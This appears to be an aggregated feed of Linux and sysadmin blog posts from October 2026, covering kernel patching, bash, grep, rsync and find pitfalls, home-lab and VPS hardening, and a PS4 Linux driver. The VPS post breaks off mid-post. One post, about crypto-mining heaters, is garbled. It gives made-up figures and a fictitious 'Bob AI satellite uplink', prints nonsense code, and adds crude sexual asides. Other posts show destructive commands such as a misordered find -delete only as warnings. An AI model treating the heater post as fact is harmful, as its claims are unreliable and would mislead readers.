🔧 Troubleshooting

Kernel version did not change after reboot: Your package manager may have the patched package available but it was not installed. Run apt list --upgradable | grep linux-image to check, then install explicitly with sudo apt install linux-image-[version] matching your architecture.

Proxmox node is stuck on an older kernel: Proxmox sometimes pins the kernel for stability. Check /etc/default/grub and the GRUB menu to ensure the new kernel is selected as default. Run update-grub after confirming the package is installed.

Raspberry Pi will not boot after upgrade: This is rare but can happen if the bootloader and kernel fall out of sync. Boot from a backup SD card or use rpi-update with caution, and check the Raspberry Pi OS forums for your specific board and OS version before using it.

✅ Wrap Up

Four local root bugs in one disclosure batch is a bad day for Linux security. Updating and rebooting is the right move, but as of 29 September 2026 it is not the whole answer: Debian trixie has all four, Debian bookworm is still missing the TUNderflow fix, and Ubuntu has not released kernels for any of them. Prioritize DiagSpill, since it is the one an unprivileged local user can reach without a user namespace, and check the tracker for your distribution instead of assuming a fresh upgrade covered you.

After you patch, take five minutes to check your other nodes. It is easy to forget a Raspberry Pi tucked behind the TV or a secondary Proxmox node you set up months ago. Cross-reference the patched kernel version against your distro's security tracker to make sure you are actually covered, not just up to date on packages.

Stay subscribed to oss-sec if you want these disclosures in your inbox before they make the rounds on aggregators.

PS4 Pro Belize DDR3 patch v2

Sat, 24 Oct 2026 08:36:00 +0000

The last time the DDR3 memory on PS4 pro has a critical problem it was capped under 11mb/s speed how much I tied I failed every time

then I notice something while debugging through the southbridge well it turns out DDR3 has it's own southbridge DMA engine but I don't really notice at first.

and after some more debugging it turns out my DDR3 chip (1 GB on the southbridge) was being read by the CPU personally, 8 bytes at a time, through a tiny PCI window ~10.6 MB/s. and that was the main bottleneck of all.

now it feels like I almost fix the issue but nope the southbridge DMA engine has no Linux driver for PS4 to use it.

and after more debugging it turns out Sony's PS4 gameOS aka orbis uses that chip (their sbram driver), but the code is closed.

So, I used AI to reverse engineer the kernel binary and everything started making sense now

the chip lives at 0xC0000000 + offset on the internal bus and everything moves through the southbridge DMA engine with exact protocol byte-count, source, dest, then the 0x1d40 "go" register, and write 0x11 to the interrupt-mask register.

after that it's time to do the main patch The implementation

On the ps4linux it sees the southbridge DMA engine as a pci device: 104d:90cd. The driver asks linux for it, switches it on, and maps its register memory. Now the engine can't touch program memory directly. everything goes through one special buffer the driver allocates at startup a small chunk of RAM that is always below 4 GB and always coherent (DMA-visible) think of it as the loading dock between the CPU and the DDR3.

After the patch bake into the kernel and the result

	old patch	new patch
reads	10.6 MB/s	504 MB/s
writes	~138 MB/s	425 MB/s
ceiling	unknown	~1.4 GB/s (65,408 B jobs @ 1,383 MB/s)

The engine itself moves data at up to ~1.4 GB/s. what used to be a 10.6 MB/s unusable brick is now a fast little swap chip on PS4linux

New: Software Pays Hotel Owners

Fri, 23 Oct 2026 16:37:25 +0000

Salaam! Great news, my brothers, sisters and non-bins!! Liquor store operators, strip club managers, adult lounge hosts and even Hollywood chefs can now get paid even more money by not doing anything, just plugging into new software with hardware components and low capital expenditure. The software is built into chips and uses blockchain tech.

This is mostly for our northern brothers and those in Texas Hill Country, Denver, The Alps. Our brothers there often heat their temples and mosques furiously in frigid weather. Now, major OEMs have rolled out items like hot wat heaters which mine crypto. Furnaces and heaters which mine crypto as well and affordable, $800 cost.

34 TH/s expected rates on hot water heater versus a paltry 0.6 H/s for computers. Think of this scenario: Indie game dev in Moscow. Wonderful boyfriend, pet cat. Very cold in winter, run heaters a lot! Now, just buy crypto mining heaters at $800 ea and kapow. Data use is low according to spec sheets.

Each heater produces around $3 per day in crypto so it is not for small shops. Instead, it is better for very large liquor stores and strip clubs. Twin Peaks would be a perfect location to deploy especially the back room area where VIPs meet up with the ladies. Here is how the script works for UI:
function getTang() {
if (sheSayOkToDate = 1) {
checkIfVegan();
}
}

This script is executed onclick and then calls a sub-function to complete the task and run a security check. It is anticipated they will be wireless devices so security is important. The sub routine checks a securité key and IP address with cross reference to secret Linux sauce and Bob AI satellite uplink. The output is a pass/no pass and then the digi wallet is loaded with crypto.

Summary: Now machines are paying users to plug them in. This works best for heaters, we do not have a way to use air conditioners for this yet! Linux is key to the success of crypto because it is fast, lightweight, compiles cleanly, understands the needs of non-bin coders and is widely available in Wan Chai. This application is for non-Apple mostly and is best for Hari Krishna temples, zen facilities, mosques and large buildings, not small massage parlours the size of a broom closet, ja wohl? Have a beautiful day!

Is ya'll crypto tough enough?
Mais Oui
Non!

https://www.tradingview.com/news/cryptobriefing:150be6ecb094b:0-heatbit-unveils-bitwater-a-water-heater-that-mines-bitcoin/

Why grep "error|failed" finds nothing in a log full of failures

Thu, 22 Oct 2026 13:00:00 +0000

If grep returns empty on a file you know contains matches, suspect the pattern before the file. Default grep uses Basic Regular Expressions (BRE), where |, +, ?, and () are literal characters unless backslash-escaped. So grep "error|failed" app.log searches for the literal twelve-character string error|failed — pipe included — which no logger ever writes. Alternation needs Extended Regular Expressions via -E:

grep "error|failed" app.log     # BRE: literal string, matches nothing
grep -E "error|failed" app.log  # ERE: matches either word

The dangerous part is the exit behavior. An impossible pattern is not a syntax error, so grep exits 1 — the same code as "no matches in a clean file" — and prints nothing. A wrong question and a healthy log look identical, which is how this bug hides inside monitoring checks and cron pipelines for days.

Two related traps: -P (Perl regex, \d, lookaheads) is GNU-only and fails on macOS/BSD grep, and bare grep aimed at a directory refuses with "Is a directory" unless -r is set.

When I'm unsure what a pattern will match, I assemble the command in this grep command builder with a live match tester — paste a sample line you know should match, and a zero count tells you the pattern is the bug before the empty result gets believed.

bash ran a path that no longer existed, and exited 127

Wed, 21 Oct 2026 13:00:00 +0000

A demo script called report, two directories on PATH, and one mv between them, all on a scratch tmpfs:

$ report
report 2.1: 14 jobs ok
exit=0
$ mv /opt/jobs/bin/report /opt/jobs/newbin/report
$ ls -l /opt/jobs/newbin/report
-rwxrwxr-x 1 root root 42 Oct  3 18:26 /opt/jobs/newbin/report
$ report
session.sh: line 5: /opt/jobs/bin/report: No such file or directory
exit=127
$ type -a report
report is /opt/jobs/newbin/report
$ hash -t report
/opt/jobs/bin/report
$ command -v report
/opt/jobs/bin/report

The file is there, on PATH, and bash ran the old path anyway. The first time it finds a command through a PATH search, it stores the full path in a hash table and skips the search after that. When the file moves, it executes the remembered path and reports No such file or directory with exit 127, the same code a typo gets.

The confusing part is the end of that output. type -a searches PATH fresh and finds the new location. command -v reports what bash would run, which is the stale one. hash -r clears the table, a new terminal starts empty, and shopt -s checkhash makes bash re-search when a hashed path has gone: with it set, the same sequence printed the tool's output and exit 0.

The stale hash is one of six causes behind command not found. The others, from a cron PATH to a CRLF shebang, each reproduced with a script that names the cause, are in command not found in bash, six causes.

rsync's dangerous flags don't fail. They do a different job and exit 0.

Tue, 20 Oct 2026 13:00:00 +0000

The trap with rsync is that its dangerous flag combinations don't fail — they complete a different operation than the one you intended, and exit 0. --delete makes the destination match the source, so a mistyped or freshly moved source directory means rsync removes everything at the destination and reports success. Your cron log shows a clean run while the backup empties itself. A trailing slash changes the meaning too: /data/ syncs the directory's contents, while /data copies the directory itself into the destination — and on a mirror job, that difference decides what gets compared and what gets deleted.

The defense is previewing every destructive sync before running it live:

rsync -av --delete --dry-run /srv/www/ user@backup:/srv/backup/www/

Read the deleting … lines it prints; only when that list matches your expectations do you remove --dry-run. Note also that excludes take one pattern per flag — --exclude='*.log' --exclude='.git' — because a comma-separated list inside a single flag silently matches nothing.

If you'd rather compose the command with those guardrails enforced — a red warning when --delete is enabled without a dry run, per-pattern quoted excludes, and a live preview of the finished command — I built a visual rsync command builder with delete-flag guardrails that runs entirely in the browser.

How to Enable MAC Address Randomisation in Linux Desktop

Sun, 18 Oct 2026 07:57:35 +0000

Link to Project: https://github.com/ShobanChiddarth/randomised_mac_linux

Why a Persistent MAC Address Is a Problem

A persistent hardware address allows networks to consistently identify the same device across sessions. On:

Public Wi-Fi
Campus networks
Enterprise environments
Captive portals

this makes long-term tracking trivial, even if your IP address changes.

Many Linux desktops still use the permanent hardware address by default, which means your device can be passively identified every time it reconnects to a network.

How This Project Solves It

This project automates MAC address randomisation at boot.

On every system startup:

The interface is brought down
A new locally administered MAC address is generated
The interface is brought back up

A systemd service ensures this runs automatically, requiring no manual action after setup.

Installation

When you install macchanger, you may get a prompt to enable regular changing of MAC addresses. You should select "no" because we wan't complete control over when and how the MAC address randomisation is scheduled.

Debian based

Save this script and run it as sudo

sudo apt install macchanger git -y
git clone https://github.com/ShobanChiddarth/randomised_mac_linux.git
cd randomised_mac_linux
chmod +x ./randomise_MACs.sh
sudo cp randomise_MACs.sh /usr/bin/
sudo cp randomise_MACs.service /etc/systemd/system/
sudo systemctl daemon-reload
sudo systemctl enable randomise_MACs

Now your MAC addresses of real network interfaces will automatically change to a random value on each boot. To verify it, you can run ifconfig to show MAC addresses before and after running sudo systemctl start randomise_MACs to compare values.

Other distros

Visit the GitHub repo and google your distro specific command for each command listed.

My Network Engineering Home Lab setup

Sun, 18 Oct 2026 07:57:18 +0000

Introduction

A while ago, I built a home lab to gain hands-on experience with Linux server administration and network engineering. Using some old hardware, a ThinkCentre M81 desktop and a Tenda router, I set up a private LAN, configured a static IP and DHCP reservations, and deployed an SSH-accessible Linux server running an Nginx web server.

This project allowed me to apply concepts I had learned in college in a real-world scenario, practice network setup and IP management, and explore server configuration beyond the classroom. It’s also an example of repurposing older hardware to create a functional learning environment.

Below, I’ve documented the full technical process, step by step, so you can see exactly how I built this setup and replicate it if you want to create your own home lab.

Tenda Router Setup

The router I used is the Tenda AC1200 router: https://www.tendacn.com/product/ac6.html.

Turn on the router.
Connect to the router’s LAN port (1 or 2) via ethernet from a PC you are able to use.
Visit 192.168.0.1, the default router IP (written in the back of your router) from a web browser.
Enter the default login password (written in the back of your router).
Go to system settings and change the login password
Go to Wi-Fi settings and change the Wi-Fi name and password.
Go to system settings and upgrade the firmware if needed.

The router is ready for connection. Disconnect the ethernet from the router, you can now access it via Wi-Fi.

ThinkCentre M81 Server setup

Installing Linux Mint

Connect the ethernet port of the CPU to any the Tenda router’s LAN ports, and install linuxmint normally: https://linuxmint-installation-guide.readthedocs.io/en/latest/

But during the installation process, choose to erase the whole disk and install linux mint while asked about partitions.

Do not select to set up an encrypted LVM (full disk encryption) in the Advanced features. Using an LVM is okay but encrypted LVM for full disk encryption requires someone to type the password in the keyboard connected to the server every time it boots, and we want it to automatically boot and be ready for ssh login so it is not recommended.

And the authorized ssh keys stay in the home folder of the user, so if you encrypt it, logging in to the user account will be required for key based ssh to work. Logging in remotely strictly using ssh keys will not work then. So do not encrypt the home folder.

After the installation is complete, login and set the root password.

sudo passwd

Turning the desktop into a server

After that, we need to turn this into a server from a desktop.

Install openssh-server and configure it: https://wiki.debian.org/SSH#Installation_of_the_server
[Not required but highly recommended] Make the ssh server run on a port different from 22, for security (to prevent automated brute force scripts).
[Not required but highly recommended] Turn on firewall and allow the ssh. When the firewall is turned off, every port open on the system is open to the network. So turn it on to make sure only the ports you allow are accessible from the outside.
```
sudo ufw allow <ssh_port_number>
sudo ufw enable
```
Now we need static IP for the server instead of DHCP from the router. We will be using systemd-networkd for this.
```
sudo ifconfig
```
And remember the name of the ethernet port connecting to the router (usually eno1)
Now stop and disable NetworkManager, it is bound to the display manager so if we use primarily Network Manager, the server will not have networking when started headless.
```
sudo systemctl stop NetworkManager
sudo systemctl disable NetworkManager
```
Now enable systemd-networkd on boot
```
sudo systemctl enable systemd-networkd
```
Create a file /etc/systemd/network/10-eno1.network and put in the contents
```
[Match]
Name=eno1
```

[Network]
Address=192.168.0.2/24
Gateway=192.168.0.1
DNS=192.168.0.1


Where `192.168.0.1` is the IP address of your router and `192.168.0.2` is the IP address of the server, and `eno1` is the name of the network interface of the ethernet port.
8. Reload systemd-networkd for the changes to take effect

sudo systemctl restart systemd-networkd

9. Now run `sudo ifconfig` again and the ip address should have changed on the ethernet port.
10. Now that we have static IP, go to router login page -> System Settings -> DHCP Reservation
![tenda-dhcp-reserv](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/c4stq9hz8n3tpht6i728.png)
And manually bind the static IP to the MAC address of the server.

We have turned the desktop into a server. Now ssh into it from your PC to test if it works.

ssh -p username@192.168.0.2


## Making server headless

Once you have logged in to the server via ssh, you can easily turn it headless. You simply have to stop the display manager and disable it on boot so it always runs headless.

(after ssh into server)
sudo systemctl stop lightdm
sudo systemctl disable lightdm


After this, the monitor screen connected to the desktop goes blank. This is expected. If you are not sure if the system hanged or if the graphical manager has stopped, press Ctrl+Alt+F1 to enter virtual terminal 1. If you see the virtual terminal, it is working properly. Now you can safely remove the monitor and keyboard and mouse from the server’s CPU as you won’t need it anymore and will always access it by ssh.

## Configuring Web Server
While you are still ssh-ed into the server, run

sudo apt install nginx
sudo systemctl start nginx
sudo systemctl enable nginx

To install, start and enable the web server on boot. It runs on port 80, the default port for HTTP. So allow it on the firewall for the website to be accessed from the LAN.

sudo ufw allow 80

You can leave it as it is to get the default nginx server page or create a file `/var/www/html/index.html` with your own website on the `index.html` file, or even host a react app by copying the build files into the `/var/www/html` folder.


## Accessing the website

Connect to the Wi-Fi network of the Tenda router from any device that has Wi-Fi.
![wifi-con](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/o16p8noin4w1xe8417wt.png)

And then open the IP address of the server in a web browser. You will get a no HTTPS warning but you can ignore it and continue since we are in a controlled environment.

![website](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/438xncg43o7z8v4zo6ff.png)


## SUCCESS
That’s it. The home LAB has been set up successfully. You have a LAN on Wi-Fi and a server that you can ssh into and use as backup storage, and a web server you can host websites on your LAN.

Why I Built Total Connect: A Modern Open-Source FileZilla & Total Commander Alternative in Go

Fri, 16 Oct 2026 12:29:23 +0000

For decades, FileZilla and Total Commander have been staples for sysadmins, developers, and power users. But let’s be honest:

FileZilla paywalls essential cloud protocols (S3, Google Drive, OneDrive) behind a commercial Pro license.
Managing files on remote headless servers or mobile devices without X11/GUI forwarding is still a headache.
Security and plaintext password storage have historically plagued legacy FTP clients.

To solve this, I built Total Connect — a modern, unified, open-source file manager and transfer ecosystem written in Go, powered natively by rclone.

What makes Total Connect different?

Tri-Interface Architecture (TUI + Web + CLI):
- Interactive Terminal UI: Powered by Charmbracelet (bubbletea, lipgloss) featuring classic dual-pane navigation, Total Commander shortcuts (F5, F6, F8), and multi-file selection.
- Headless Web Daemon: An embedded, responsive web interface that runs on any remote machine, VPS, or Google Colab, featuring a modern Fluent design and touch tabs for mobile browsers.
- Scriptable CLI: For quick headless operations.
50+ Cloud Providers via Rclone:
Rather than wrapping rclone via subprocesses, Total Connect imports rclone directly as internal Go modules. This enables true atomic operations, password obfuscation, and zero-overhead transfers.
No Setup Friction:
- Single static binary for Linux, macOS, and Windows (Intel & ARM).
- In-app "+ Add Connection" wizard for FTP, SFTP, WebDAV, S3, Mega, and Google Drive without editing config files.

Try it out:

Grab the latest v0.1.0 release:
GitHub Repository: https://github.com/M5Devs/Total-Connect
Releases & Binaries: https://github.com/M5Devs/Total-Connect/releases/tag/v0.1.0

I'd love to hear your feedback, feature requests, and contributions! Let me know what you think in the comments below.

Every disk-alert script I had piped into a command this machine does not have

Thu, 15 Oct 2026 13:00:00 +0000

The standard bash alerting pattern ends the same way everywhere you read it: pipe the finding into mail. So I checked what my own box would actually do with that line.

$ type -a mail mailx sendmail
mail not found
mailx not found
sendmail not found

Nothing. No MTA, no mailutils, no fallback. Any alert script written the usual way would have run its check correctly, found the problem correctly, piped the message into a command that does not exist, and told me nothing.

This fails quieter than it sounds. Under set -euo pipefail you at least get a non-zero exit somewhere a cron wrapper might notice. Without it, the pipeline's exit status is the last command's, cron mails you nothing because cron's mail also needs an MTA, and the script looks like it ran fine.

Check for the binary before you rely on it, not after an incident. And on a box that does have mail, exit 0 still only means the message reached a local MTA — on a host with no outbound relay it lands in a spool file under /var/mail that nobody reads. Confirm real delivery once by tailing /var/log/mail.log. Cron's minimal PATH is a second reason to test from inside cron rather than your login shell.

The msmtp relay config and the rate-limiting guard are in the bash email alert walkthrough.

One empty variable, one error, one wrong answer, exit 0

Wed, 14 Oct 2026 13:00:00 +0000

I wrote four lines to capture a bash error for a guide. One empty variable, tested twice:

$ cat queue-check.sh
#!/bin/bash
count=""
if [ $count -eq 0 ]; then echo "queue empty"; fi
if [[ $count -eq 0 ]]; then echo "queue empty ([[ ]])"; fi

$ bash queue-check.sh
queue-check.sh: line 3: [: -eq: unary operator expected
queue empty ([[ ]])
exit=0

The message blames -eq. The bug is the unquoted $count before it: word splitting removed the empty value, so [ received -eq 0 and failed with status 2, which an if treats as "not true". The [[ ]] line does no splitting, read the empty string as 0 in an arithmetic test, and printed a confident wrong answer. Then the script exited 0.

Strict mode does not help here. count="" is set, so set -u stays quiet, and set -e ignores failures inside an if condition. What stopped it was validating the value first: [[ $count =~ ^[0-9]+$ ]] || exit 1.

Most bash errors work this way. The message names the check that failed, not the cause: a syntax error reported on line 4 for a missing semicolon on line 2, Permission denied after chmod +x on a noexec mount. Nine of them, each reproduced with the check that names the cause, are in Bash Error Messages, Decoded.

Is Linux an Operating System or Just a Kernel?

Wed, 14 Oct 2026 08:34:17 +0000

When I first started learning Linux, I constantly heard two different statements:

"Linux is an operating system."
"Linux is just a kernel."

At first, I thought one of them had to be wrong. After learning how Linux actually works, I realized both statements make sense depending on the context.

Let's understand why.

What Is an Operating System?

An operating system (OS) is the software that acts as a bridge between users, applications, and the computer's hardware.

Without an operating system, applications wouldn't know how to communicate with the CPU, memory, keyboard, display, storage devices, or network hardware.

An operating system provides services such as:

Process management
Memory management
File management
Device management
Security and permissions
Networking

These services allow applications to run without worrying about the underlying hardware.

What Is a Kernel?

The kernel is the core component of an operating system.

Think of it as the manager that is always running in the background. Every program that needs hardware access must go through the kernel.

The kernel is responsible for:

Scheduling CPU time
Allocating memory
Managing devices using drivers
Handling filesystems
Managing processes
Enforcing permissions
Providing system calls

Applications cannot directly control hardware. Instead, they request services from the kernel.

Application
      │
System Calls
      │
Linux Kernel
      │
Hardware

Then What Is Linux?

Technically, Linux refers to the Linux kernel created by Linus Torvalds in 1991.

The kernel alone cannot provide a complete user experience.

For example, the kernel cannot:

Let you type commands
Display directories with ls
Copy files using cp
Edit files
Browse the web

It simply provides the core functionality needed for these programs to work.

So Where Do Commands Come From?

Commands like:

ls
cp
mv
mkdir
grep
cat

are not part of the Linux kernel.

Most of these commands come from the GNU Project, which provides many of the utilities we use every day.

The shell (such as Bash) is also a separate program that lets us interact with the kernel.

When you type:

ls

the shell starts the ls program, which eventually makes system calls to the Linux kernel. The kernel retrieves the directory information from the filesystem and returns it to the program, which displays it on your screen.

What Is a Linux Distribution?

A Linux distribution combines everything needed to create a usable operating system.

A typical distribution includes:

Linux kernel
GNU utilities
Shell (Bash, Zsh, etc.)
Package manager
System libraries
Desktop environment (optional)
Applications

Examples include:

Ubuntu
Debian
Fedora
Arch Linux
Linux Mint

Each distribution uses the Linux kernel but packages it with different software and tools.

Why Do Some People Say GNU/Linux?

Richard Stallman and the GNU Project argue that most of the user-space tools come from GNU, while Linux is only the kernel.

Because of this, some people prefer calling the complete operating system GNU/Linux instead of simply Linux.

Others use the shorter name "Linux" because it is more common.

Both terms are widely used today, depending on the context.

How Everything Fits Together

+-----------------------------+
| Applications                |
+-----------------------------+
| Shell (Bash)                |
+-----------------------------+
| GNU Utilities               |
+-----------------------------+
| System Libraries            |
+-----------------------------+
| Linux Kernel                |
+-----------------------------+
| Hardware                    |
+-----------------------------+

What I Learned

Before learning Linux, I assumed Linux itself contained every command I used.

Now I understand that the Linux kernel is only the core of the operating system. The commands, shell, libraries, and applications are separate software that work together with the kernel to create the complete Linux experience.

This also explains why different Linux distributions look and behave differently while sharing the same Linux kernel.

Conclusion

Linux is technically a kernel, not a complete operating system by itself. However, in everyday conversation, people often use the word Linux to refer to the complete operating system provided by Linux distributions.

Understanding this distinction helped me better understand how Linux works internally and why different distributions can share the same kernel while offering different user experiences.

Linux from Scratch #1: What is Unix? Why Was It Created?

Wed, 14 Oct 2026 08:30:39 +0000

Before understanding Linux, I realized I first needed to understand Unix.
In my previous article, I shared how installing Ubuntu completely changed the way I thought about operating systems.

As I started learning Linux, one word kept appearing everywhere:

Unix.

People would say things like:

"Linux is Unix-like."

"macOS is based on Unix."

That made me wonder:

If Unix already existed, why was Linux created?

To answer that question, I had to go back more than 50 years.

Computing Before Unix

In the 1960s, computers were very different from what we use today.

A computer was a huge machine shared by many users, and every manufacturer had its own operating system.

Programs written for one computer often wouldn't run on another.

There was no common way to interact with computers.

The Birth of Unix

In 1969, researchers at Bell Labs, including Ken Thompson and later Dennis Ritchie, started building a new operating system.

Their goal wasn't to create something complicated.

They wanted an operating system that was:

Simple

Reliable

Portable

Easy for programmers to use

That operating system became Unix.

Many ideas introduced by Unix are still part of modern operating systems today.

Ideas That Changed Computing

Unix wasn't just another operating system.

It introduced ideas that have survived for decades.

For example:

Everything is treated like a file.

Programs should do one job well.

Programs should work together using pipes (|).

Multi-user systems.

Multi-tasking.

A command-line shell.

When I learned Linux commands like grep, sort, cat, and pipes, I realized these ideas actually came from Unix.

Then Why Didn't Everyone Use Unix?

This was my next question.

If Unix was so good, why do we have Linux today?

The answer is licensing.

Unix was owned by AT&T.

Over time, using Unix became expensive because companies had to purchase licenses.

Many universities and developers wanted an operating system they could study, modify, and share freely.

That problem eventually inspired the creation of projects like GNU and later Linux.

We'll talk about those in the next articles.

What I Learned

Before writing this article, I thought Unix was simply an old operating system.

Now I understand something much more important.

Unix wasn't just software.

It introduced ideas that still influence Linux, macOS, Android, and many other operating systems today.

Learning Linux without understanding Unix felt like reading Chapter 2 without reading Chapter 1.

I'm glad I went back to learn the history first.

What's Next?

In the next article, we'll answer one of the questions that confused me the most:

Is Linux an operating system, or is it just a kernel?

See you in Linux from Scratch #2.

Welcome: Why I Started Learning Linux

Wed, 14 Oct 2026 08:10:53 +0000

When I joined MountBlue, one of the first things we were asked to do was dual boot Ubuntu.

Before that, I had always used Windows. I had built several projects on it and, during college, I had only learned a few basic Linux commands like pwd, ls, and cd. To me, Linux was just another operating system that developers talked about.

I also had many misconceptions.

I thought Ubuntu, macOS, Windows, and Android were simply different operating systems with no deeper relationship. I had heard that most software companies preferred developers to use Ubuntu or macOS, but I never really understood why.

Installing Ubuntu made me curious.

I started asking questions like:

Is Linux an operating system or just a kernel?
Why do people keep mentioning Unix and GNU?
Why do developers prefer Linux over Windows?
If Windows already has a terminal, why is Linux so popular among developers?

As I explored further, I realized something interesting.

For most everyday users, the operating system is mainly a way to run applications through a graphical interface. Whether it's browsing the web, watching videos, or editing documents, everything is designed to be accessed through windows, icons, and menus.

Software developers, however, often work in environments that are very different from a typical personal computer. They interact with remote servers, cloud machines, containers, and virtual machines—systems that often don't have a graphical desktop at all. In these environments, the command-line interface (CLI) becomes the primary way to work.

That made me realize learning Linux isn't just about memorizing commands. It's about understanding how operating systems work and why developers rely on them every day.

This series is my attempt to document that journey.

I'm not writing these articles because I know Linux. I'm writing them because I'm learning Linux—and writing is helping me understand it better. If you're beginning your journey too, let's learn together.

Welcome to Linux from Scratch.

In the next article, we'll start from the very beginning.

What exactly is Unix, and why did Linux even exist if Unix was already there?

See you in Part 1.

I escaped the dot correctly and sed still rewrote a file marked DO NOT CHANGE

Tue, 13 Oct 2026 13:00:00 +0000

Four config files, one hostname to rename. I knew the dot in api.internal is a regex wildcard, so I escaped it. grep -rn 'api.internal' unescaped matched a fourth file containing apiXinternal — a typo somebody deliberately kept. Escaped, api\.internal matched three. Good.

Then I ran the rename, and two of those three should never have changed: a line ending in # DO NOT CHANGE, and a commented-out sample. My -not -path "*/samples/*" exclusion did nothing, because the file was called sample.conf and was not inside a samples/ directory.

That is the real lesson, and escaping was never the whole answer. The dot is the trap everyone warns about; the trap that actually got me was assuming my exclusion pattern matched what I pictured. The fix is an order, not a flag — make grep -l print the file list while everything is still read-only, and read it:

find /etc/myapp -type f -name "*.conf" -exec grep -l "api\.internal" {} +

If that list surprises you, the surprise is the bug, and you found it before anything was written. Only then pipe it to sed -i.bak, so every file keeps a rollback copy — and diff one against its .bak before trusting the run. sed -i exits 0 whether it changed four files or none.

The awk summarizing stage and the incident-triage pipeline are in the find, grep, sed and awk ordering guide.

CAN Bus and J1939 Integration on Rugged Vehicle Tablets: A Practical Guide

Fri, 09 Oct 2026 01:59:22 +0000

Rugged vehicle-mount tablets are only as useful as the data they can read from the machine they're bolted into. On heavy-duty vehicles — tractors, excavators, trucks — that data comes off the CAN bus, and interpreting it correctly means supporting J1939 on top. Here's how the layers fit together and what to check when specifying hardware.

CAN Bus: the physical layer

CAN (Controller Area Network) is the internal wiring protocol most commercial vehicles and heavy machinery use so their onboard components — ECUs, transmission modules, sensors — can talk to each other without a dedicated wire per signal. A vehicle terminal taps into this same network and reads the same data the dashboard uses.

J1939: the messaging layer on top

CAN defines how bytes move; J1939 (SAE) defines what they mean — engine temperature, fuel rate, diagnostic trouble codes — in a standardized format across manufacturers. A terminal with native J1939 interprets that data correctly whether it's in a tractor, an excavator, or a delivery truck, with no per-brand integration work.

ISO 11783 (ISOBUS) and ISO 15765

ISO 11783 / ISOBUS VT extends J1939 for agricultural implement control — one terminal runs any compliant implement's interface.
ISO 15765 covers diagnostics.

Supporting all three on the same CAN channels means one hardware platform serves a mixed fleet without separate firmware per vehicle type.

What to check when specifying hardware

Native CAN, not a USB/serial adapter — an external dongle adds a powered component and a connection point that fails under vibration.
Channel count — a machine with multiple buses needs multiple channels, and this cannot be added later.
CAN FD support — larger payloads at higher speed, backward-compatible with classic CAN.
Kernel-level access — real-time, low-latency CAN needs SocketCAN at the kernel, not just an app-layer library.

A practical note

Interface count, not processor speed, is usually the spec that decides whether a terminal fits a job. A unit two CAN channels short is unusable no matter how fast its CPU is.

Full technical write-up, with the specification sequence and model-by-model channel counts, is on our site: CAN Bus and J1939 Integration for Rugged Vehicle Tablets

I'm with CF-Device, a manufacturer of rugged vehicle-mount tablets with native CAN bus, J1939 and ISOBUS support.

My 30-day log cleanup kept a file that was 30 and a half days old

Thu, 08 Oct 2026 13:00:00 +0000

I set three log files to known ages with touch -d — exactly 30 days, 30 days and 12 hours, and 31 days — then ran what I thought was a 30-day retention policy:

find . -name '*.log' -mtime +30

It returned one file: the 31-day-old one. The 30.5-day file stayed. So did the 30-day file.

-mtime counts whole 24-hour periods and throws away the remainder, and +30 means strictly greater than 30 of them. A file aged 30 days and 12 hours counts as 30, and 30 is not greater than 30. A real 30-day policy is -mtime +29. Re-running with +29 returned all three, which is what I wanted in the first place.

Two more things that bit during the same session. Piping to xargs rm split app v2.log on the space — rm reported cannot remove 'ws/app' and cannot remove 'v2.log', and the file survived. And -delete is an action that returns true, so putting it before your filter is catastrophic: find ord -delete -name '*.log' removed a file called keep.txt and then the directory itself. Preview with -print, keep -delete last.

The multi-directory loop, the .gz variant, and the cron lines are in the find -mtime log retention walkthrough.

Hardening a Contributor Verification VPS Without Breaking Production

Wed, 07 Oct 2026 11:17:48 +0000

Building a Safer Contributor Verification VPS Without Breaking Production

Hardening a live VPS is rarely about applying a single security checklist.

The harder problem is this:

How do you reduce attack surface on a server that is already running production services, contributor verification workloads, Docker environments, databases, reverse proxies, and experimental integrations — without breaking any of them?

That was the situation on a MyZubster VPS we are evolving into a more structured Contributor Verification Node.

The objective was deliberately conservative:

identify what is actually running
reduce unnecessary public binds
preserve all live workloads
distinguish repository architecture from runtime architecture
document every conclusion with reproducible technical evidence

No mass restarts. No destructive Git operations. No speculative rewiring.

Just one dependency at a time.

The VPS was doing too many jobs at once

The server was already hosting a mix of services:

nginx
MyZubster production gateway
PM2 applications
Docker contributor environments
MongoDB
Monero services
Bitcoin verification services
IPFS
Qdrant
Ollama
n8n
contributor bridges and pilot services

This creates a common infrastructure trap.

A port may look unnecessary.

A process may look duplicated.

A service may appear safe to restart.

But if you do not first understand the dependency graph, a cleanup command can become an outage.

That immediately ruled out broad actions such as:

pm2 restart all

or:

git reset --hard
docker system prune
ufw reset

The working rule became:

observe
→ identify ownership
→ map dependencies
→ change one thing
→ verify
→ persist

Start from sockets, not assumptions

The first meaningful artifact was a listener inventory.

Using:

ss -lntp

we classified services into two groups.

Some were already correctly restricted:

127.0.0.1:5003   MyZubster Gateway
127.0.0.1:8787   BTC verifier
127.0.0.1:27017  MongoDB
127.0.0.1:6333   Qdrant
127.0.0.1:5678   n8n
127.0.0.1:8092   contributor bridge

Others were bound globally:

*:5002
0.0.0.0:5005
0.0.0.0:5173

A global bind does not automatically mean “publicly exposed.”

A firewall may still block traffic.

But it does mean the application is willing to accept traffic on every interface, which increases ambiguity and weakens least-privilege design.

So the next question was not:

Can we close this port?

It was:

Who actually needs to reach this service?

Hardening port 5173

The frontend process was listening on:

0.0.0.0:5173

But nginx already proxied to it locally:

location / {
    proxy_pass http://localhost:5173;
}

That gave us the actual runtime graph:

Internet
   ↓
nginx :443
   ↓
127.0.0.1:5173

There was no need for the Node process itself to listen on every interface.

The original code contained:

server.listen(PORT, '0.0.0.0', () => {

We changed only the bind address:

server.listen(PORT, '127.0.0.1', () => {

Then checked syntax:

node --check server-static.js

and restarted only that PM2 process:

pm2 restart myzubster-web

Not the entire PM2 stack.

Verify before persisting

After the restart:

ss -lntp | grep ':5173'

showed:

127.0.0.1:5173

The local service still returned 200.

Then nginx HTTP returned the expected redirect.

Finally HTTPS was tested directly against the local nginx instance using the real virtual host:

curl -k -sS -o /dev/null \
  --resolve myzubster.com:443:127.0.0.1 \
  -w 'HTTPS nginx -> %{http_code}\n' \
  https://myzubster.com/

Result:

HTTPS nginx -> 200

Only after that did we run:

pm2 save

This sequencing matters.

You do not persist a new runtime state before proving that the change is healthy.

Hardening port 5002

Port 5002 belonged to another Node application.

It was listening globally because the server was started without an explicit host:

httpServer.listen(PORT, () => {

Before changing it, we checked:

nginx references
